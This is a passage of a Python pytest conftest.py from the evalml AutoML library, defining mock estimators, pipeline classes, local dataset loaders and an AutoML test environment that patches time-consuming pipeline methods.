dummy_pipeline_hyperparameters_unicode():\n    return {\n        \"Mock Classifier\": {\n            \"param a\": Integer(0, 10),\n            \"param b\": Real(0, 10),\n            \"param c\": [\"option a 💩\", \"option b 💩\", \"option c 💩\"],\n            \"param d\": [\"option a\", \"option b\", 100, np.inf],\n        }\n    }\n\n\n@pytest.fixture\ndef dummy_pipeline_hyperparameters_small():\n    return {\n        \"Mock Classifier\": {\n            \"param a\": [\"most_frequent\", \"median\", \"mean\"],\n            \"param b\": [\"a\", \"b\", \"c\"],\n        }\n    }\n\n\n@pytest.fixture\ndef dummy_classifier_estimator_class():\n    class MockEstimator(Estimator):\n        name = \"Mock Classifier\"\n        model_family = ModelFamily.NONE\n        supported_problem_types = [\n            ProblemTypes.BINARY,\n            ProblemTypes.MULTICLASS,\n            ProblemTypes.TIME_SERIES_MULTICLASS,\n            ProblemTypes.TIME_SERIES_BINARY,\n        ]\n        hyperparameter_ranges = {\"a\": Integer(0, 10), \"b\": Real(0, 10)}\n\n        def __init__(self, a=1, b=0, random_seed=0):\n            super().__init__(\n                parameters={\"a\": a, \"b\": b}, component_obj=None, random_seed=random_seed\n            )\n\n        def fit(self, X, y):\n            return self\n\n    return MockEstimator\n\n\n@pytest.fixture\ndef dummy_classifier_linear_component_graph(dummy_classifier_estimator_class):\n    component_graph_linear = {\n        \"Name\": [\"Imputer\", \"One Hot Encoder\", dummy_classifier_estimator_class]\n    }\n    return component_graph_linear\n\n\n@pytest.fixture\ndef dummy_regressor_linear_component_graph(dummy_regressor_estimator_class):\n    component_graph_linear = {\n        \"Name\": [\"Imputer\", \"One Hot Encoder\", dummy_regressor_estimator_class]\n    }\n    return component_graph_linear\n\n\n@pytest.fixture\ndef dummy_classifier_dict_component_graph(dummy_classifier_estimator_class):\n    component_graph_dict = {\n        \"Name\": {\n            \"Imputer\": [\"Imputer\"],\n            \"Imputer_1\": [\"Imputer\", \"Imputer\"],\n            \"Random Forest Classifier\": [dummy_classifier_estimator_class, \"Imputer_1\"],\n        }\n    }\n    return component_graph_dict\n\n\n@pytest.fixture\ndef dummy_regressor_dict_component_graph(dummy_regressor_estimator_class):\n    component_graph_dict = {\n        \"Name\": {\n            \"Imputer\": [\"Imputer\"],\n            \"Imputer_1\": [\"Imputer\", \"Imputer\"],\n            \"Random Forest Classifier\": [dummy_regressor_estimator_class, \"Imputer_1\"],\n        }\n    }\n    return component_graph_dict\n\n\n@pytest.fixture\ndef dummy_binary_pipeline_class(dummy_classifier_estimator_class):\n    MockEstimator = dummy_classifier_estimator_class\n\n    class MockBinaryClassificationPipeline(BinaryClassificationPipeline):\n        custom_name = \"Mock Binary Classification Pipeline\"\n        estimator = MockEstimator\n        component_graph = [MockEstimator]\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n                random_seed=random_seed,\n            )\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return MockBinaryClassificationPipeline\n\n\n@pytest.fixture\ndef dummy_multiclass_pipeline_class(dummy_classifier_estimator_class):\n    MockEstimator = dummy_classifier_estimator_class\n\n    class MockMulticlassClassificationPipeline(MulticlassClassificationPipeline):\n        estimator = MockEstimator\n        component_graph = [MockEstimator]\n        custom_name = \"Mock Multiclass Classification Pipeline\"\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n                random_seed=random_seed,\n            )\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return MockMulticlassClassificationPipeline\n\n\n@pytest.fixture\ndef dummy_regressor_estimator_class():\n    class MockRegressor(Estimator):\n        name = \"Mock Regressor\"\n        model_family = ModelFamily.NONE\n        supported_problem_types = [ProblemTypes.REGRESSION]\n        hyperparameter_ranges = {\"a\": Integer(0, 10), \"b\": Real(0, 10)}\n\n        def __init__(self, a=1, b=0, random_seed=0):\n            super().__init__(\n                parameters={\"a\": a, \"b\": b}, component_obj=None, random_seed=random_seed\n            )\n\n        def fit(self, X, y):\n            return self\n\n    return MockRegressor\n\n\n@pytest.fixture\ndef dummy_regression_pipeline_class(dummy_regressor_estimator_class):\n    MockRegressor = dummy_regressor_estimator_class\n\n    class MockRegressionPipeline(RegressionPipeline):\n        component_graph = [MockRegressor]\n        custom_name = \"Mock Regression Pipeline\"\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n                random_seed=random_seed,\n            )\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return MockRegressionPipeline\n\n\n@pytest.fixture\ndef dummy_time_series_regressor_estimator_class():\n    class MockTimeSeriesRegressor(Estimator):\n        name = \"Mock Time Series Regressor\"\n        model_family = ModelFamily.NONE\n        supported_problem_types = [ProblemTypes.TIME_SERIES_REGRESSION]\n        hyperparameter_ranges = {\"a\": Integer(0, 10), \"b\": Real(0, 10)}\n\n        def __init__(self, a=1, b=0, random_seed=0):\n            super().__init__(\n                parameters={\"a\": a, \"b\": b}, component_obj=None, random_seed=random_seed\n            )\n\n    return MockTimeSeriesRegressor\n\n\n@pytest.fixture\ndef dummy_time_series_regression_pipeline_class(\n    dummy_time_series_regressor_estimator_class,\n):\n    MockTimeSeriesRegressor = dummy_time_series_regressor_estimator_class\n\n    class MockTimeSeriesRegressionPipeline(TimeSeriesRegressionPipeline):\n        component_graph = [MockTimeSeriesRegressor]\n        custom_name = None\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n                random_seed=random_seed,\n            )\n\n    return MockTimeSeriesRegressionPipeline\n\n\n@pytest.fixture\ndef dummy_ts_binary_pipeline_class(dummy_classifier_estimator_class):\n    MockEstimator = dummy_classifier_estimator_class\n\n    class MockBinaryClassificationPipeline(TimeSeriesBinaryClassificationPipeline):\n        estimator = MockEstimator\n        component_graph = [MockEstimator]\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph, parameters=parameters, random_seed=random_seed\n            )\n\n    return MockBinaryClassificationPipeline\n\n\n@pytest.fixture\ndef logistic_regression_multiclass_pipeline_class():\n    class LogisticRegressionMulticlassPipeline(MulticlassClassificationPipeline):\n        \"\"\"Logistic Regression Pipeline for binary classification.\"\"\"\n\n        custom_name = \"Logistic Regression Multiclass Pipeline\"\n        component_graph = [\n            \"Imputer\",\n            \"One Hot Encoder\",\n            \"Standard Scaler\",\n            \"Logistic Regression Classifier\",\n        ]\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n                random_seed=random_seed,\n            )\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return LogisticRegressionMulticlassPipeline\n\n\n@pytest.fixture\ndef logistic_regression_binary_pipeline_class():\n    class LogisticRegressionBinaryPipeline(BinaryClassificationPipeline):\n        component_graph = [\n            \"Imputer\",\n            \"One Hot Encoder\",\n            \"Standard Scaler\",\n            \"Logistic Regression Classifier\",\n        ]\n        custom_name = \"Logistic Regression Binary Pipeline\"\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n                random_seed=random_seed,\n            )\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return LogisticRegressionBinaryPipeline\n\n\n@pytest.fixture\ndef linear_regression_pipeline_class():\n    class LinearRegressionPipeline(RegressionPipeline):\n        \"\"\"Linear Regression Pipeline for regression problems.\"\"\"\n\n        component_graph = [\n            \"One Hot Encoder\",\n            \"Imputer\",\n            \"Standard Scaler\",\n            \"Linear Regressor\",\n        ]\n        custom_name = \"Linear Regression Pipeline\"\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n                random_seed=random_seed,\n            )\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return LinearRegressionPipeline\n\n\n@pytest.fixture\ndef dummy_stacked_ensemble_binary_estimator(logistic_regression_binary_pipeline_class):\n    p1 = logistic_regression_binary_pipeline_class({})\n    ensemble_estimator = StackedEnsembleClassifier(input_pipelines=[p1], random_seed=0)\n    return ensemble_estimator\n\n\n@pytest.fixture\ndef dummy_stacked_ensemble_multiclass_estimator(\n    logistic_regression_multiclass_pipeline_class,\n):\n    p1 = logistic_regression_multiclass_pipeline_class({})\n    ensemble_estimator = StackedEnsembleClassifier(input_pipelines=[p1], random_seed=0)\n    return ensemble_estimator\n\n\n@pytest.fixture\ndef dummy_stacked_ensemble_regressor_estimator(linear_regression_pipeline_class):\n    p1 = linear_regression_pipeline_class({})\n    ensemble_estimator = StackedEnsembleRegressor(input_pipelines=[p1], random_seed=0)\n    return ensemble_estimator\n\n\n@pytest.fixture\ndef time_series_regression_pipeline_class():\n    class TSRegressionPipeline(TimeSeriesRegressionPipeline):\n        \"\"\"Random Forest Regression Pipeline for time series regression problems.\"\"\"\n\n        component_graph = [\"Delayed Feature Transformer\", \"Random Forest Regressor\"]\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph, parameters=parameters, random_seed=random_seed\n            )\n\n    return TSRegressionPipeline\n\n\n@pytest.fixture\ndef time_series_binary_classification_pipeline_class():\n    class TSBinaryPipeline(TimeSeriesBinaryClassificationPipeline):\n        \"\"\"Logistic Regression Pipeline for time series binary classification problems.\"\"\"\n\n        component_graph = [\n            \"Delayed Feature Transformer\",\n            \"Logistic Regression Classifier\",\n        ]\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph, parameters=parameters, random_seed=random_seed\n            )\n\n    return TSBinaryPipeline\n\n\n@pytest.fixture\ndef time_series_multiclass_classification_pipeline_class():\n    class TSMultiPipeline(TimeSeriesMulticlassClassificationPipeline):\n        \"\"\"Logistic Regression Pipeline for time series multiclass classification problems.\"\"\"\n\n        component_graph = [\n            \"Delayed Feature Transformer\",\n            \"Logistic Regression Classifier\",\n        ]\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph, parameters=parameters, random_seed=random_seed\n            )\n\n    return TSMultiPipeline\n\n\n@pytest.fixture\ndef decision_tree_classification_pipeline_class(X_y_categorical_classification):\n    pipeline = BinaryClassificationPipeline(\n        [\n            \"Simple Imputer\",\n            \"One Hot Encoder\",\n            \"Standard Scaler\",\n            \"Decision Tree Classifier\",\n        ]\n    )\n    X, y = X_y_categorical_classification\n    pipeline.fit(X, y)\n    return pipeline\n\n\n@pytest.fixture\ndef nonlinear_binary_pipeline_class():\n    class NonLinearBinaryPipeline(BinaryClassificationPipeline):\n        custom_name = \"Non Linear Binary Pipeline\"\n        component_graph = {\n            \"Imputer\": [\"Imputer\"],\n            \"OneHot_RandomForest\": [\"One Hot Encoder\", \"Imputer.x\"],\n            \"OneHot_ElasticNet\": [\"One Hot Encoder\", \"Imputer.x\"],\n            \"Random Forest\": [\"Random Forest Classifier\", \"OneHot_RandomForest.x\"],\n            \"Elastic Net\": [\"Elastic Net Classifier\", \"OneHot_ElasticNet.x\"],\n            \"Logistic Regression\": [\n                \"Logistic Regression Classifier\",\n                \"Random Forest\",\n                \"Elastic Net\",\n            ],\n        }\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(\n                self.component_graph,\n                parameters=parameters,\n                custom_name=self.custom_name,\n            )\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return NonLinearBinaryPipeline\n\n\n@pytest.fixture\ndef nonlinear_multiclass_pipeline_class():\n    class NonLinearMulticlassPipeline(MulticlassClassificationPipeline):\n        component_graph = {\n            \"Imputer\": [\"Imputer\"],\n            \"OneHot_RandomForest\": [\"One Hot Encoder\", \"Imputer.x\"],\n            \"OneHot_ElasticNet\": [\"One Hot Encoder\", \"Imputer.x\"],\n            \"Random Forest\": [\"Random Forest Classifier\", \"OneHot_RandomForest.x\"],\n            \"Elastic Net\": [\"Elastic Net Classifier\", \"OneHot_ElasticNet.x\"],\n            \"Logistic Regression\": [\n                \"Logistic Regression Classifier\",\n                \"Random Forest\",\n                \"Elastic Net\",\n            ],\n        }\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(self.component_graph, parameters=parameters)\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return NonLinearMulticlassPipeline\n\n\n@pytest.fixture\ndef nonlinear_regression_pipeline_class():\n    class NonLinearRegressionPipeline(RegressionPipeline):\n        component_graph = {\n            \"Imputer\": [\"Imputer\"],\n            \"OneHot\": [\"One Hot Encoder\", \"Imputer.x\"],\n            \"Random Forest\": [\"Random Forest Regressor\", \"OneHot.x\"],\n            \"Elastic Net\": [\"Elastic Net Regressor\", \"OneHot.x\"],\n            \"Linear Regressor\": [\"Linear Regressor\", \"Random Forest\", \"Elastic Net\"],\n        }\n\n        def __init__(self, parameters, random_seed=0):\n            super().__init__(self.component_graph, parameters=parameters)\n\n        def new(self, parameters, random_seed=0):\n            return self.__class__(parameters, random_seed=random_seed)\n\n        def clone(self):\n            return self.__class__(self.parameters, random_seed=self.random_seed)\n\n    return NonLinearRegressionPipeline\n\n\n@pytest.fixture\ndef binary_test_objectives():\n    return [\n        o\n        for o in get_core_objectives(ProblemTypes.BINARY)\n        if o.name in {\"Log Loss Binary\", \"F1\", \"AUC\"}\n    ]\n\n\n@pytest.fixture\ndef multiclass_test_objectives():\n    return [\n        o\n        for o in get_core_objectives(ProblemTypes.MULTICLASS)\n        if o.name in {\"Log Loss Multiclass\", \"AUC Micro\", \"F1 Micro\"}\n    ]\n\n\n@pytest.fixture\ndef regression_test_objectives():\n    return [\n        o\n        for o in get_core_objectives(ProblemTypes.REGRESSION)\n        if o.name in {\"R2\", \"Root Mean Squared Error\", \"MAE\"}\n    ]\n\n\n@pytest.fixture\ndef time_series_core_objectives():\n    return get_core_objectives(ProblemTypes.TIME_SERIES_REGRESSION)\n\n\n@pytest.fixture\ndef time_series_non_core_objectives():\n    non_core_time_series = [\n        obj_()\n        for obj_ in get_non_core_objectives()\n        if ProblemTypes.TIME_SERIES_REGRESSION in obj_.problem_types\n    ]\n    return non_core_time_series\n\n\n@pytest.fixture\ndef time_series_objectives(\n    time_series_core_objectives, time_series_non_core_objectives\n):\n    return time_series_core_objectives + time_series_non_core_objectives\n\n\n@pytest.fixture\ndef stackable_classifiers(helper_functions):\n    stackable_classifiers = []\n    for estimator_class in _all_estimators():\n        supported_problem_types = [\n            handle_problem_types(pt) for pt in estimator_class.supported_problem_types\n        ]\n        if (\n            set(supported_problem_types)\n            == {\n                ProblemTypes.BINARY,\n                ProblemTypes.MULTICLASS,\n                ProblemTypes.TIME_SERIES_BINARY,\n                ProblemTypes.TIME_SERIES_MULTICLASS,\n            }\n            and estimator_class.model_family not in _nonstackable_model_families\n            and estimator_class.model_family != ModelFamily.ENSEMBLE\n        ):\n            stackable_classifiers.append(estimator_class)\n    return stackable_classifiers\n\n\n@pytest.fixture\ndef stackable_regressors(helper_functions):\n    stackable_regressors = []\n    for estimator_class in _all_estimators():\n        supported_problem_types = [\n            handle_problem_types(pt) for pt in estimator_class.supported_problem_types\n        ]\n        if (\n            set(supported_problem_types)\n            == {ProblemTypes.REGRESSION, ProblemTypes.TIME_SERIES_REGRESSION}\n            and estimator_class.model_family not in _nonstackable_model_families\n            and estimator_class.model_family != ModelFamily.ENSEMBLE\n        ):\n            stackable_regressors.append(estimator_class)\n    return stackable_regressors\n\n\n@pytest.fixture\ndef tree_estimators():\n    est_classifier_class = DecisionTreeClassifier()\n    est_regressor_class = DecisionTreeRegressor()\n    return est_classifier_class, est_regressor_class\n\n\n@pytest.fixture\ndef fitted_tree_estimators(tree_estimators, X_y_binary, X_y_regression):\n    est_clf, est_reg = tree_estimators\n    X_b, y_b = X_y_binary\n    X_r, y_r = X_y_regression\n    X_b = pd.DataFrame(X_b, columns=[f\"Testing_{col}\" for col in range(len(X_b[0]))])\n    X_r = pd.DataFrame(X_r, columns=[f\"Testing_{col}\" for col in range(len(X_r[0]))])\n    est_clf.fit(X_b, y_b)\n    est_reg.fit(X_r, y_r)\n    return est_clf, est_reg\n\n\n@pytest.fixture\ndef logit_estimator():\n    est_class = LogisticRegressionClassifier()\n    return est_class\n\n\n@pytest.fixture\ndef helper_functions():\n    class Helpers:\n        @staticmethod\n        def safe_init_component_with_njobs_1(component_class):\n            try:\n                component = component_class(n_jobs=1)\n            except TypeError:\n                component = component_class()\n            return component\n\n        @staticmethod\n        def safe_init_pipeline_with_njobs_1(pipeline_class):\n            try:\n                estimator = pipeline_class.component_graph[-1]\n                estimator_name = (\n                    estimator if isinstance(estimator, str) else estimator.name\n                )\n                pl = pipeline_class({estimator_name: {\"n_jobs\": 1}})\n            except ValueError:\n                pl = pipeline_class({})\n            return pl\n\n    return Helpers\n\n\n@pytest.fixture\ndef make_data_type():\n    \"\"\"Helper function to convert numpy or pandas input to the appropriate type for tests.\"\"\"\n\n    def _make_data_type(data_type, data):\n        if data_type == \"li\":\n            if isinstance(data, pd.DataFrame):\n                data = data.to_numpy()\n            data = data.tolist()\n            return data\n        if data_type != \"np\":\n            if len(data.shape) == 1:\n                data = pd.Series(data)\n            else:\n                data = pd.DataFrame(data)\n        if data_type == \"ww\":\n            if len(data.shape) == 1:\n                data = ww.init_series(data)\n            else:\n                data.ww.init()\n        return data\n\n    return _make_data_type\n\n\ndef load_fraud_local(n_rows=None):\n    currdir_path = os.path.dirname(os.path.abspath(__file__))\n    data_folder_path = os.path.join(currdir_path, \"data\")\n    fraud_data_path = os.path.join(data_folder_path, \"fraud_transactions.csv.gz\")\n    X, y = load_data(\n        path=fraud_data_path,\n        index=\"id\",\n        target=\"fraud\",\n        compression=\"gzip\",\n        n_rows=n_rows,\n    )\n    return X, y\n\n\n@pytest.fixture\ndef fraud_local():\n    X, y = load_fraud_local()\n    X.ww.set_types(logical_types={\"provider\": \"Categorical\", \"region\": \"Categorical\"})\n    return X, y\n\n\n@pytest.fixture\ndef fraud_100():\n    X, y = load_fraud_local(n_rows=100)\n    X.ww.set_types(logical_types={\"provider\": \"Categorical\", \"region\": \"Categorical\"})\n    return X, y\n\n\n@pytest.fixture\ndef breast_cancer_local():\n    data = datasets.load_breast_cancer()\n    X = pd.DataFrame(data.data, columns=data.feature_names)\n    y = pd.Series(data.target)\n    y = y.map(lambda x: data[\"target_names\"][x])\n    X.ww.init()\n    y = ww.init_series(y)\n    return X, y\n\n\n@pytest.fixture\ndef wine_local():\n    data = datasets.load_wine()\n    X = pd.DataFrame(data.data, columns=data.feature_names)\n    y = pd.Series(data.target)\n    y = y.map(lambda x: data[\"target_names\"][x])\n    X.ww.init()\n    y = ww.init_series(y)\n    return X, y\n\n\n@pytest.fixture\ndef diabetes_local():\n    data = datasets.load_diabetes()\n    X = pd.DataFrame(data.data, columns=data.feature_names)\n    y = pd.Series(data.target)\n    X.ww.init()\n    y = ww.init_series(y)\n    return X, y\n\n\n@pytest.fixture\ndef churn_local():\n    currdir_path = os.path.dirname(os.path.abspath(__file__))\n    data_folder_path = os.path.join(currdir_path, \"data\")\n    churn_data_path = os.path.join(data_folder_path, \"churn.csv\")\n    return load_data(\n        path=churn_data_path,\n        index=\"customerID\",\n        target=\"Churn\",\n    )\n\n\n@pytest.fixture\ndef mock_imbalanced_data_X_y():\n    \"\"\"Helper function to return an imbalanced binary or multiclass dataset\"\"\"\n\n    def _imbalanced_data_X_y(problem_type, categorical_columns, size):\n        \"\"\" \"Generates a dummy classification dataset with particular amounts of class imbalance and categorical input columns.\n        For our targets, we maintain a 1:5, or 0.2, class ratio of minority : majority.\n        We only generate minimum amount for X to set the logical_types, so the length of X and y will be different.\n\n        Arguments:\n            problem_type (str): Either 'binary' or 'multiclass'\n            categorical_columns (str): Determines how many categorical cols to use. Either 'all', 'some', or 'none'.\n            size (str): Either 'large' or 'small'. 'large' returns a dataset of size 21,000, while 'small' returns a size of 4200\n        \"\"\"\n        multiplier = 5 if size == \"large\" else 1\n        col_names = [f\"col_{i}\" for i in range(100)]\n        # generate X to be all int values\n        X_dict = {\n            col_name: [i % (j + 1) for i in range(1, 100)]\n            for j, col_name in enumerate(col_names)\n        }\n        X = pd.DataFrame(X_dict)\n        if categorical_columns == \"all\":\n            X.ww.init(logical_types={col_name: \"Categorical\" for col_name in col_names})\n        elif categorical_columns == \"some\":\n            X.ww.init(\n                logical_types={\n                    col_name: \"Categorical\"\n                    for col_name in col_names[: len(col_names) // 2]\n                }\n            )\n        else:\n            X.ww.init()\n        if problem_type == \"binary\":\n            targets = [0] * 3500 + [1] * 700\n        else:\n            targets = [0] * 3000 + [1] * 600 + [2] * 600\n        targets *= multiplier\n        y = ww.init_series(pd.Series(targets))\n        return X, y\n\n    return _imbalanced_data_X_y\n\n\nclass _AutoMLTestEnv:\n    \"\"\"A test environment that makes it easy to test automl behavior with patched pipeline computations.\n\n    This class provides a context manager that will automatically patch pipeline fit/score/predict_proba methods,\n    as well as _encode_targets, BinaryClassificationObjective.optimize_threshold, and skopt.Optimizer.tell. These are\n    the most time consuming operations during search, so your test will run as fast as possible.\n\n    This class is ideal for tests that verify some behavior of AutoMLSearch that can be controlled via the side_effect\n    or return_value parameters exposed to the patched methods but it may not be suitable for all tests, such as\n    tests that patch Estimator.fit instead of Pipeline.fit or tests that only want to patch a selective\n    subset of the methods listed above.\n\n    Example:\n        >>> env = _AutoMLTestEnv(problem_type=\"binary\")\n        >>> # run_search is short-hand for creating the context manager and then running search\n        >>> # env.run_search(automl, score_return_value={automl.objective.name: 1.0})\n        >>> # with env.test_context(score_return_value={automl.objective.name: 1.0}):\n        >>> #    automl.search()\n        >>> # env.mock_fit.assert_called_once()\n        >>> # env.mock_score.assert_called_once()\n    \"\"\"\n\n    def __init__(self, problem_type):\n        \"\"\"Create a test environment.\n\n        Arguments:\n            problem_type (str): The problem type corresponding to the search class you want to test.\n\n        Attributes:\n            mock_fit (MagicMock): MagicMock corresponding to the pipeline.fit method for the latest automl computation.\n                Set to None until the first computation is run in the test environment.\n            mock_tell (MagicMock): Magic mock corresponding to the skopt.Optimizer.tell method. Set to None unil the\n                first computation is run in the test environment.\n            mock_score (MagicMock): MagicMock corresponding to the pipeline.score method for the latest automl computation.\n                Set to None until the first computation is run in the test environment.\n            mock_encode_targets (MagicMock): MagicMock corresponding to the pipeline._encode_targets method for the latest automl computation.\n                Set to None until the first computation is run in the test environment.\n            mock_predict_proba (MagicMock): MagicMock corresponding to the pipeline.predict_proba method for the latest automl computation.\n                Set to None until the first computation is run in the test environment.\n            mock_optimize_threshold (MagicMock): MagicMock corresponding to the BinaryClassificationObjective.optimize_threshold for the latest automl computation.\n                Set to None until the first computation is run in the test environment.\n        \"\"\"\n        self.problem_type = handle_problem_types(problem_type)\n        self._mock_fit = None\n        self._mock_tell = None\n        self._mock_score = None\n        self._mock_encode_targets = None\n        self._mock_predict_proba = None\n        self._mock_optimize_threshold = None\n\n    @property\n    def _pipeline_class(self):\n        return {\n            ProblemTypes.REGRESSION: \"evalml.pipelines.RegressionPipeline\",\n            ProblemTypes.BINARY: \"evalml.pipelines.BinaryClassificationPipeline\",\n            ProblemTypes.MULTICLASS: \"evalml.pipelines.MulticlassClassificationPipeline\",\n            ProblemTypes.TIME_SERIES_REGRESSION: \"evalml.pipelines.TimeSeriesRegressionPipeline\",\n            ProblemTypes.TIME_SERIES_MULTICLASS: \"evalml.pipelines.TimeSeriesMulticlassClassificationPipeline\",\n            ProblemTypes.TIME_SERIES_BINARY: \"evalml.pipelines.TimeSeriesBinaryClassificationPipeline\",\n        }[self.problem_type]\n\n    def _patch_method(self, method, side_effect, return_value, pipeline_class_str=None):\n        kwargs = {}\n        if pipeline_class_str is None:\n            pipeline_class_str = self._pipeline_class\n        if side_effect is not None:\n            kwargs = {\"side_effect\": side_effect}\n        elif return_value is not None:\n            kwargs = {\"return_value\": return_value}\n        return patch(pipeline_class_str + \".\" + method, **kwargs)\n\n    def _reset_mocks(self):\n        \"\"\"Set the mocks to None before running a computation so that we can prevent users from trying to access\n        them before leaving the context manager.\"\"\"\n        self._mock_fit = None\n        self._mock_tell = None\n        self._mock_score = None\n        self._mock_encode_targets = None\n        self._mock_predict_proba = None\n        self._mock_optimize_threshold = None\n\n    def _get_mock(self, mock_name):\n        mock = getattr(self, f\"_mock_{mock_name}\")\n        if mock is None:\n            raise ValueError(\n                f\"mock_{mock_name} cannot be accessed before leaving the test_context! \"\n                \"Access it after leaving test_context.\"\n            )\n        return mock\n\n    @property\n    def mock_fit(self):\n        return self._get_mock(\"fit\")\n\n    @property\n    def mock_tell(self):\n        return self._get_mock(\"tell\")\n\n    @property\n    def mock_score(self):\n        return self._get_mock(\"score\")\n\n    @property\n    def mock_encode_targets(self):\n        return self._get_mock(\"encode_targets\")\n\n    @property\n    def mock_predict_proba(self):\n        return self._get_mock(\"predict_proba\")\n\n    @property\n    def mock_optimize_threshold(self):\n        return self._get_mock(\"optimize_threshold\")\n\n    @contextlib.contextmanager\n    def test_context(\n        self,\n        score_return_value=None,\n        mock_score_side_effect=None,\n        mock_fit_side_effect=None,\n        mock_fit_return_value=None,\n        predict_proba_return_value=None,\n        optimize_threshold_return_value=0.2,\n    ):\n        \"\"\"A context manager for creating an environment that patches time-consuming pipeline methods.\n        Sets the mock_fit, mock_score, mock_encode_targets, mock_predict_proba, mock_optimize_threshold attributes.\n\n        Arguments:\n            score_return_value: Passed as the return_value argument of the pipeline.score patch.\n            mock_score_side_effect: Passed as the side_effect argument of the pipeline.score patch. Takes precedence over\n                score_return_value.\n            mock_fit_side_effect: Passed as the side_effect argument of the pipeline.fit patch. Takes precedence over mock_fit_return_value.\n            mock_fit_return_value: Passed as the return_value argument of the pipeline.fit patch.\n            predict_proba_return_value: Passed as the return_value argument of the pipeline.predict_proba patch.\n            optimize_threshold_return_value: Passed as the return value of BinaryClassificationObjective.optimize_threshold patch.\n        \"\"\"\n        mock_fit = self._patch_method(\n            \"fit\", side_effect=mock_fit_side_effect, return_value=mock_fit_return_value\n        )\n        mock_score = self._patch_method(\n            \"score\", side_effect=mock_score_side_effect, return_value=score_return_value\n        )\n\n        # For simplicity, we will always mock predict_proba and _encode_targets even if the problem is not a\n        # classification problem. For regression problems, we'll mock BinaryClassificationPipeline but it doesn't\n        # matter which one we mock since those methods won't be called for regression.\n        pipeline_to_mock = self._pipeline_class\n        if is_regression(self.problem_type):\n            pipeline_to_mock = \"evalml.pipelines.BinaryClassificationPipeline\"\n\n        mock_encode_targets = self._patch_method(\n            \"_encode_targets\",\n            side_effect=lambda y: y,\n            return_value=None,\n            pipeline_class_str=pipeline_to_mock,\n        )\n        mock_predict_proba = self._patch_method(\n            \"predict_proba\",\n            side_effect=None,\n            return_value=predict_proba_return_value,\n            pipeline_class_str=pipeline_to_mock,\n        )\n\n        mock_optimize = patch(\n            \"evalml.objectives.BinaryClassificationObjective.optimize_threshold\",\n            return_value=optimize_threshold_return_value,\n        )\n\n        mock_tell = patch(\"evalml.tuners.skopt_tuner.Optimizer.tell\")\n\n        # Reset the mocks from a previous computation so that ValueError can be properly raised if\n        # user tries to access mocks before leaving the context\n        self._reset_mocks()\n\n        # Unfortunately, in order to set the MagicMock instances as class attributes we need to use the\n        # `with ... ` syntax.\n        sleep_time = PropertyMock(return_value=0.00000001)\n        mock_sleep = patch(\n            \"evalml.automl.AutoMLSearch._sleep_time\", new_callable=sleep_time\n        )\n\n        with mock_sleep, mock_fit as fit, mock_score as score, mock_encode_targets as encode, mock_predict_proba as proba, mock_tell as tell, mock_optimize as optimize:\n            # Can think of `yield` as blocking this method until the computation finishes running\n            yield\n            self._mock_fit = fit\n            self._mock_tell = tell\n            self._mock_score = score\n            self._mock_encode_targets = encode\n            self._mock_predict_proba = proba\n            self._mock_optimize_threshold = optimize\n\n\n@pytest.fixture\ndef AutoMLTestEnv():\n    return _AutoMLTestEnv\n\n\n@pytest.fixture\ndef tmpdir(tmp_path):\n    dir = py.path.local(tmp_path)\n    yield dir\n    dir.remove(ignore_errors=True)\n","sub_path":"evalml/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":44307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
